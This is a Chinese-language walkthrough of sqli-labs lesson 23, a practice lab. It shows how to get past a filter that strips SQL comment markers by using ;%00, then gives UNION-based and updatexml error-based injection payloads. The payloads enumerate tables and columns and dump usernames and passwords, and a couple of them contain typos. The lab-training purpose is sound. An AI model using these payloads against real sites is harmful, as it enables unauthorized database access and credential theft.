• sqli-labs lesson 23


    less 23:

      这里通过验证?id=1'# 发现还是报错

      

      观察代码:

      

       这里涉及一个函数mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject)

      此函数执行一个正则表达式的搜索和替换,简单来讲就是搜索 subject中匹配patter部分 以replacement作为替换

      比如上面源代码中,就是在用户输入的id里搜索#和-- 并用空格替换

      所以我们的注释符要换成;%00

      执行:?id=1' ;%00  此时页面回显正常了。剩下步骤与less 1一致

      

       (因为国际惯例都知道是有3列,这里就不再演示)

      查询回显字段(注意id要找一个,不存在的值)

      这里解释一下为什么要找一个不存在的id值,大家观察下图的SQL语句,我们一共使用了两次select查询,

      但是只有一个数据可以输出,为了让我们自己构造语句的数据可以正常输出所以要使前一个select没有结果

      所以这里选择一个不存在的id值

      执行:?id=0' union select 1,2,3;%00

      

       查询数据库

      执行:?id=0' union select 1,2,database();%00

      

       查询数据库中所有表

      执行:?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();%00

      

       查询users表中的所有字段

      执行: ?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' ;%00

      

       获取username和password中字段的值

      执行:?id=0' union select 1,2,group_concat(concat_ws('-',username,password)) from users;%00

      

      

      第二个方法:报错注入

      还是用到updatexml()函数

      执行:?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1);%00

       

       查询数据库:

      执行:?id=1' and update(1,concat(0x7e,database(),0x7e),1);%00

      

       查询security数据库中的字段:

      执行:?id=1' and updatexml(1,concat(0x7e,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1);%00

      

       查询users表中的字段:

      执行:?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1);%00

      

       查询username字段的值

      执行:?id=1' and updatexml(1,concat(0x7e,select username from users limit 0,1),0x7e),1);%00

      password字段同理。

      

      

  • 相关阅读:
    【java】浅谈java内部类
    【java】java反射初探 ——“当类也学会照镜子”
    【java】关于java类和对象,你想知道的在这里!
    【javascript】谈谈HTML5: Web-Worker、canvas、indexedDB、拖拽事件
    【Vue】Vue中的父子组件通讯以及使用sync同步父子组件数据
    【javascript】详解变量,值,类型和宿主对象
    【javascript】异步编年史,从“纯回调”到Promise
    [转] golang 字符串比较是否相等
    because its MIME type ('text/html') is not a supported stylesheet MIME type, and strict MIME checkin
    desktoplayer.exe病毒及d:w7rtmasewcpsilmerged tu tsystem.cpp的解决方案
  • 原文地址:https://www.cnblogs.com/Zh1z3ven/p/12449691.html
Copyright © 2020-2023  润新知